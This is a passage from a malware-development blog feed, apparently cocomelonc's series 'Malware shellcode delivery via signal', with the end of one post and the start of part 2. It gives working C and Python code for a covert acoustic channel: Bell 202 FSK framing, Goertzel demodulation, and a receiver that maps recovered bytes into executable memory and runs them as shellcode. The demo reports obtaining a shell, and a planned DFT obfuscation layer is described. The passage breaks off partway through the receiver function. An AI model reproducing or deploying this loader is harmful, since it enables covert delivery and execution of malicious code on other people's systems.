  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">device</span> <span class="o">=</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">?</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">:</span> <span class="s">"default"</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] receiver  Bell 202 FSK  %d/%d Hz  %d baud  %d kHz</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
         <span class="n">FREQ_MARK</span><span class="p">,</span> <span class="n">FREQ_SPACE</span><span class="p">,</span> <span class="n">BAUD_RATE</span><span class="p">,</span> <span class="n">SAMPLE_RATE</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] capture device : %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">device</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] SPB            : %d samples per bit</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">SPB</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] strategy       : batch capture + %d alignment offsets</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span>
         <span class="n">N_OFFSETS</span><span class="p">);</span>

  <span class="n">snd_pcm_t</span> <span class="o">*</span><span class="n">handle</span> <span class="o">=</span> <span class="n">open_capture</span><span class="p">(</span><span class="n">device</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">handle</span><span class="p">)</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>

  <span class="kt">int</span> <span class="n">n_samples</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="kt">int16_t</span> <span class="o">*</span><span class="n">audio</span> <span class="o">=</span> <span class="n">capture_audio</span><span class="p">(</span><span class="n">handle</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_samples</span><span class="p">);</span>
  <span class="n">snd_pcm_close</span><span class="p">(</span><span class="n">handle</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">audio</span><span class="p">)</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] scanning %d alignment offsets (step = %d samples)...</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span>
         <span class="n">N_OFFSETS</span><span class="p">,</span> <span class="n">OFFSET_STEP</span><span class="p">);</span>

  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">t</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">t</span> <span class="o">&lt;</span> <span class="n">N_OFFSETS</span><span class="p">;</span> <span class="n">t</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">t</span> <span class="o">*</span> <span class="n">OFFSET_STEP</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">try_offset</span><span class="p">(</span><span class="n">audio</span><span class="p">,</span> <span class="n">n_samples</span><span class="p">,</span> <span class="n">offset</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">free</span><span class="p">(</span><span class="n">audio</span><span class="p">);</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>

  <span class="n">free</span><span class="p">(</span><span class="n">audio</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">[=^..^=] no valid frame found in %d s of audio</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">CAPTURE_SECS</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"transmitter: python3 transmit_live.py (device: hw:Loopback,0,0)</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="demo">demo</h3>

<p>Let’s see this in action. Compile receiver:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc receiver.c <span class="nt">-o</span> receiver <span class="nt">-lasound</span> <span class="nt">-lm</span>
</code></pre></div></div>

<p><img src="/assets/images/205/2026-05-30_15-15.png" alt="malware" class="img-responsive" /></p>

<p>Then, run it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./receiver
</code></pre></div></div>

<p><img src="/assets/images/205/2026-05-30_15-17.png" alt="malware" class="img-responsive" /></p>

<p>Then, run transmitting logic (for simplicity, same device first):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 transmit_live.py
</code></pre></div></div>

<p><img src="/assets/images/205/2026-05-30_15-19.png" alt="malware" class="img-responsive" /></p>

<p>Finally, we got our shell:</p>

<p><img src="/assets/images/205/2026-05-30_15-20.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/205/2026-05-30_15-21.png" alt="malware" class="img-responsive" /></p>

<p>try it without transmission:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./receiver
</code></pre></div></div>

<p><img src="/assets/images/205/2026-05-30_15-25.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/205/2026-05-30_15-26.png" alt="malware" class="img-responsive" /></p>

<p>And for two devices:</p>

<p><img src="/assets/images/205/IMG_20260530_175037250.jpg" alt="malware" class="img-responsive" /></p>

<p>As you can see, perfectly works as expected! =^..^=</p>

<h3 id="conclusion">conclusion</h3>

<p>In the next part, we will add a <em>mathematical obfuscation layer</em> on top of the working protocol we built here. The shellcode will never travel as raw bytes. Instead, we apply a <a href="https://en.wikipedia.org/wiki/Discrete_Fourier_transform">Forward Discrete Fourier Transform</a> with a secret phase shift - the raw bytes become complex frequency coefficients that look like noise to any observer. The receiver applies the <em>Inverse DFT</em> with the same key to reconstruct the original shellcode just before execution.</p>

<p>We will also show another example (just as case), if we need to switch from a live microphone to a <em>WAV file</em> as the transport medium. This removes all the ALSA capture complexity - the receiver simply reads <code class="language-plaintext highlighter-rouge">payload.wav</code>, runs Goertzel demodulation on the known-good samples, and recovers the shellcode. No alignment scan required, no <code class="language-plaintext highlighter-rouge">EPIPE</code> to handle. A clean controlled channel - which will make it straightforward to demonstrate on both Linux and Windows.</p>

<p>This series of posts is based on my research and the results that I first presented at the <a href="https://www.bsidesprishtina.org/">BSides Prishtina 2026</a> conference. If I make significant progress in this research, I may also present my findings at other conferences.</p>

<p><img src="/assets/images/203/2026-05-26_08-18.png" alt="malware" class="img-responsive" /></p>

<p><a href="https://en.wikipedia.org/wiki/Frequency-shift_keying">FSK</a>  <br />
<a href="https://en.wikipedia.org/wiki/Bell_202">Bell 202 standard</a>  <br />
<a href="https://en.wikipedia.org/wiki/Discrete_Fourier_transform">Discrete Fourier Transform (DFT)</a>  <br />
<a href="https://en.wikipedia.org/wiki/Goertzel_algorithm">Goertzel Algorithm</a>  <br />
<a href="https://github.com/cocomelonc/signal-malware-delivery-poc">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!  <br />
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="malware" /><category term="red team" /><category term="windows" /><category term="malware" /><category term="math" /><category term="physics" /><category term="signal processing" /><summary type="html"><![CDATA[﷽]]></summary></entry><entry><title type="html">Malware shellcode delivery via signal - part 2. The Linux receiver (Goertzel Algorithm). Simple C example</title><link href="https://cocomelonc.github.io/malware/2026/05/26/malware-tricks-57.html" rel="alternate" type="text/html" title="Malware shellcode delivery via signal - part 2. The Linux receiver (Goertzel Algorithm). Simple C example" /><published>2026-05-26T03:00:00+00:00</published><updated>2026-05-26T03:00:00+00:00</updated><id>https://cocomelonc.github.io/malware/2026/05/26/malware-tricks-57</id><content type="html" xml:base="https://cocomelonc.github.io/malware/2026/05/26/malware-tricks-57.html"><![CDATA[<p>﷽</p>

<p>Hello, cybersecurity enthusiasts and white hackers!</p>

<p><img src="/assets/images/204/2026-05-28_02-12.png" alt="malware" class="img-responsive" /></p>

<p>This is the second post in our series on <strong>Signal Processing and Math for Malware R&amp;D</strong>. In <a href="/malware/2026/05/24/malware-tricks-56.html">part 1</a>, we proved that we could turn bytes into sound. However, if you tried to run that code in a noisy room, you likely noticed it rarely worked.</p>

<p>Today, we solve the two biggest enemies of acoustic data transfer: <em>Framing</em> and <em>Synchronization</em>. We will transform our “beeping” script into a real-use communication protocol.</p>

<h3 id="the-problem">the problem</h3>

<p>In our initial research, we sent raw bits. This approach fails in real-world scenarios for two technical reasons: First of all, <em>the receiver doesn’t know exactly when the first bit begins</em>. If it starts recording even <code class="language-plaintext highlighter-rouge">5</code> milliseconds late, it misses the start of the first sine wave. Second problem is bit straddling. If the receiver’s <code class="language-plaintext highlighter-rouge">160</code>-sample window starts in the middle of a bit, the <a href="https://en.wikipedia.org/wiki/Goertzel_algorithm">Goertzel filter</a> sees half of a <code class="language-plaintext highlighter-rouge">1</code> and half of a <code class="language-plaintext highlighter-rouge">0</code>. The resulting signal values are ambiguous, leading to a “bit-flip” and corrupted shellcode.</p>

<p>To fix this, we need to wrap our shellcode in a <em>frame</em>.</p>

<h3 id="defining-the-protocol-frame">defining the protocol frame</h3>

<p>In the simple words, a frame is a structured packet that tells the receiver something like: <em>“get ready, here is how much data is coming, and here is a way to check if it arrived safely.”</em></p>

<p>Our frame structure:</p>

<p><img src="/assets/images/204/frame.png" alt="malware" class="img-responsive" /></p>

<p>What is the preamble here? We use <code class="language-plaintext highlighter-rouge">0xAA 0xAA 0xAA 0xAA 0x7E</code>. The alternating bits (<code class="language-plaintext highlighter-rouge">1010...</code>) help the receiver find the “pulse” of the transmission. Two bytes in length is a big-endian integer representing the shellcode size. By reading the length byte right after the preamble, the receiver knows exactly how many <code class="language-plaintext highlighter-rouge">160</code>-sample windows to process sequentially, ensuring perfect synchronization without slipping into mid-bit boundaries. Finally, a checksum is a <code class="language-plaintext highlighter-rouge">XOR</code> sum of the payload to ensure integrity. So, in our code, we need the following logic: if a residual bit flip still occurs due to background acoustic noise, the checksum validation fails, dropping the packet instead of passing corrupted payload bytes to the execution engine.</p>

<p>In Python, building this frame looks like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">build_frame</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="c1"># calculate XOR checksum
</span>    <span class="n">cksum</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">:</span>
        <span class="n">cksum</span> <span class="o">^=</span> <span class="n">b</span>
    <span class="c1"># combine everything into one byte array
</span>    <span class="k">return</span> <span class="n">PREAMBLE</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&gt;H'</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">cksum</span><span class="p">])</span>
</code></pre></div></div>

<h3 id="brute-force-strategy-in-receiver">brute-force strategy in receiver</h3>

<p>The biggest challenge in the <code class="language-plaintext highlighter-rouge">C</code> receiver is <em>sample alignment</em>. Since we don’t know where the bit grid starts, we use a “brute-force” strategy. We record a <code class="language-plaintext highlighter-rouge">6</code>-second chunk of audio. Then, we try to demodulate it <code class="language-plaintext highlighter-rouge">16</code> different times, shifting the starting point by <code class="language-plaintext highlighter-rouge">10</code> samples each time (since one bit is <code class="language-plaintext highlighter-rouge">160</code> samples, <code class="language-plaintext highlighter-rouge">160/16 = 10</code>). One of these <code class="language-plaintext highlighter-rouge">16</code> attempts must align perfectly with the transmitter’s grid.</p>

<p>The logic in C looks like this:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">t</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">t</span> <span class="o">&lt;</span> <span class="mi">16</span><span class="p">;</span> <span class="n">t</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">t</span> <span class="o">*</span> <span class="mi">10</span><span class="p">;</span> <span class="c1">// try every 10th sample</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">try_offset</span><span class="p">(</span><span class="n">audio_buffer</span><span class="p">,</span> <span class="n">total_samples</span><span class="p">,</span> <span class="n">offset</span><span class="p">))</span> <span class="p">{</span>
    <span class="c1">// success! frame found and executed.</span>
    <span class="k">break</span><span class="p">;</span> 
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="demodulation-via-goertzel">demodulation via Goertzel</h3>

<p>For every <code class="language-plaintext highlighter-rouge">160</code>-sample window, we apply the <a href="(https://en.wikipedia.org/wiki/Goertzel_algorithm)">Goertzel algorithm</a>. It acts as a high-speed “tuning fork” for our frequencies: <code class="language-plaintext highlighter-rouge">2200</code> Hz (Mark) and <code class="language-plaintext highlighter-rouge">1200</code> Hz (Space).</p>

<p><img src="/assets/images/204/2026-05-28_02-20.png" alt="malware" class="img-responsive" /></p>

<p>The math for our filter coefficient \( w \) is:
\(\omega = \frac{2\pi \cdot f_{target}}{f_{sampling}}, \quad w = 2 \cos(\omega)\)</p>

<p>For each trial offset, we convert the audio into a flat array of bits (<code class="language-plaintext highlighter-rouge">0</code> or <code class="language-plaintext highlighter-rouge">1</code>) and then scan that array for our <code class="language-plaintext highlighter-rouge">0xAA...</code> preamble:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">double</span> <span class="nf">goertzel</span><span class="p">(</span><span class="k">const</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="n">s</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">,</span> <span class="kt">double</span> <span class="n">freq</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">double</span> <span class="n">omega</span> <span class="o">=</span> <span class="mf">2.0</span> <span class="o">*</span> <span class="n">M_PI</span> <span class="o">*</span> <span class="n">freq</span> <span class="o">/</span> <span class="n">SAMPLE_RATE</span><span class="p">;</span>
  <span class="kt">double</span> <span class="n">coeff</span> <span class="o">=</span> <span class="mf">2.0</span> <span class="o">*</span> <span class="n">cos</span><span class="p">(</span><span class="n">omega</span><span class="p">);</span>
  <span class="kt">double</span> <span class="n">q1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">q2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">q0</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">q0</span> <span class="o">=</span> <span class="n">coeff</span> <span class="o">*</span> <span class="n">q1</span> <span class="o">-</span> <span class="n">q2</span> <span class="o">+</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">/</span> <span class="mf">32768.0</span><span class="p">;</span>
    <span class="n">q2</span> <span class="o">=</span> <span class="n">q1</span><span class="p">;</span> <span class="n">q1</span> <span class="o">=</span> <span class="n">q0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">q1</span> <span class="o">*</span> <span class="n">q1</span> <span class="o">+</span> <span class="n">q2</span> <span class="o">*</span> <span class="n">q2</span> <span class="o">-</span> <span class="n">coeff</span> <span class="o">*</span> <span class="n">q1</span> <span class="o">*</span> <span class="n">q2</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="practical-example">practical example</h3>

<p>Let me try to explain the logic behind <code class="language-plaintext highlighter-rouge">try_offset</code>. Because the receiver starts recording at an arbitrary time, the “bit grid” is unknown. This function is designed to test a specific sample offset to see if it perfectly aligns with the transmitted tones.</p>

<p>Our function starts by slicing the raw audio buffer into bit-sized chunks (<code class="language-plaintext highlighter-rouge">160</code> samples each), starting exactly at the provided offset:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">n_bits</span> <span class="o">=</span> <span class="p">(</span><span class="n">n_samples</span> <span class="o">-</span> <span class="n">offset</span><span class="p">)</span> <span class="o">/</span> <span class="n">SPB</span><span class="p">;</span>
<span class="kt">uint8_t</span> <span class="o">*</span><span class="n">bits</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">n_bits</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n_bits</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">double</span> <span class="n">pm</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">audio</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_MARK</span><span class="p">);</span>
  <span class="kt">double</span> <span class="n">ps</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">audio</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_SPACE</span><span class="p">);</span>
  <span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">pm</span> <span class="o">&gt;</span> <span class="n">ps</span><span class="p">)</span> <span class="o">?</span> <span class="mi">1</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In general, here we convert the “analog” audio samples into a digital array of <code class="language-plaintext highlighter-rouge">1</code>s and <code class="language-plaintext highlighter-rouge">0</code>s.</p>

<p>If \( pm &gt; ps \), we record a <code class="language-plaintext highlighter-rouge">1</code>. Otherwise, a <code class="language-plaintext highlighter-rouge">0</code>. By trying different offsets in the main loop, we eventually find one where the window doesn’t “straddle” two different bits, resulting in a clean digital signal.</p>

<p>Next we need a preable hunting logic. Once we have a bit array, we need to find where the actual data starts. We scan the array for our <code class="language-plaintext highlighter-rouge">40</code>-bit preamble (<code class="language-plaintext highlighter-rouge">0xAA 0xAA 0xAA 0xAA 0x7E</code>):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n_bits</span> <span class="o">-</span> <span class="mi">80</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">b</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">;</span> <span class="n">b</span><span class="o">++</span><span class="p">)</span> 
    <span class="k">if</span> <span class="p">(</span><span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="n">b</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">!=</span> <span class="n">PREAMBLE</span><span class="p">[</span><span class="n">b</span><span class="p">])</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">match</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>
</code></pre></div></div>

<p>Then extracting metadata (Length), so, immediately following the preamble are <code class="language-plaintext highlighter-rouge">16</code> bits (<code class="language-plaintext highlighter-rouge">2 bytes</code>) that define the shellcode size:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">cursor</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">40</span><span class="p">;</span> <span class="c1">// skip preamble (40 bits)</span>
<span class="kt">uint16_t</span> <span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span> <span class="o">+</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">cursor</span> <span class="o">+=</span> <span class="mi">16</span><span class="p">;</span> <span class="c1">// move past length field</span>
</code></pre></div></div>

<p>The loader now knows exactly how many bytes to extract from the bit stream. It assembles the <code class="language-plaintext highlighter-rouge">16-bit</code> integer from two <code class="language-plaintext highlighter-rouge">8-bit</code> characters.</p>

<p>Then, the loader extracts the payload byte-by-byte while simultaneously calculating an <code class="language-plaintext highlighter-rouge">XOR</code> checksum:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">payload</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="p">);</span>
<span class="kt">uint8_t</span> <span class="n">calc_cksum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">p</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">p</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">payload</span><span class="p">[</span><span class="n">p</span><span class="p">]</span> <span class="o">=</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">);</span>
  <span class="n">calc_cksum</span> <span class="o">^=</span> <span class="n">payload</span><span class="p">[</span><span class="n">p</span><span class="p">];</span>
  <span class="n">cursor</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>What is the error detectin logic here? As each byte is recovered, it is <code class="language-plaintext highlighter-rouge">XOR</code>ed into <code class="language-plaintext highlighter-rouge">calc_cksum</code>. This ensures that any “acoustic interference” (like a door slamming or a cough) that flipped a bit will be detected.</p>

<p>At the last step, we need final verification and execution. If the checksum matches the final byte in the frame, we move from data processing to code execution:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">calc_cksum</span> <span class="o">==</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">))</span> <span class="p">{</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] offset %d: checksum OK. executing %d bytes...</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">mem</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="n">PROT_READ</span><span class="o">|</span><span class="n">PROT_WRITE</span><span class="o">|</span><span class="n">PROT_EXEC</span><span class="p">,</span> <span class="n">MAP_ANON</span><span class="o">|</span><span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="n">memcpy</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
  <span class="p">((</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">mem</span><span class="p">)();</span>
  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If <code class="language-plaintext highlighter-rouge">calc_cksum</code> matches the received byte, we know the shellcode is <code class="language-plaintext highlighter-rouge">100%</code> intact.</p>

<p>So, full source code of this function:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">try_offset</span><span class="p">(</span><span class="k">const</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="n">audio</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n_samples</span><span class="p">,</span> <span class="kt">int</span> <span class="n">offset</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">n_bits</span> <span class="o">=</span> <span class="p">(</span><span class="n">n_samples</span> <span class="o">-</span> <span class="n">offset</span><span class="p">)</span> <span class="o">/</span> <span class="n">SPB</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">bits</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">n_bits</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n_bits</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">double</span> <span class="n">pm</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">audio</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_MARK</span><span class="p">);</span>
    <span class="kt">double</span> <span class="n">ps</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">audio</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_SPACE</span><span class="p">);</span>
    <span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">pm</span> <span class="o">&gt;</span> <span class="n">ps</span><span class="p">)</span> <span class="o">?</span> <span class="mi">1</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n_bits</span> <span class="o">-</span> <span class="mi">80</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">b</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">;</span> <span class="n">b</span><span class="o">++</span><span class="p">)</span> <span class="k">if</span> <span class="p">(</span><span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="n">b</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">!=</span> <span class="n">PREAMBLE</span><span class="p">[</span><span class="n">b</span><span class="p">])</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">match</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>

    <span class="kt">int</span> <span class="n">cursor</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">40</span><span class="p">;</span>
    <span class="kt">uint16_t</span> <span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span> <span class="o">+</span> <span class="mi">8</span><span class="p">);</span>
    <span class="n">cursor</span> <span class="o">+=</span> <span class="mi">16</span><span class="p">;</span>

    <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">payload</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="p">);</span>
    <span class="kt">uint8_t</span> <span class="n">calc_cksum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
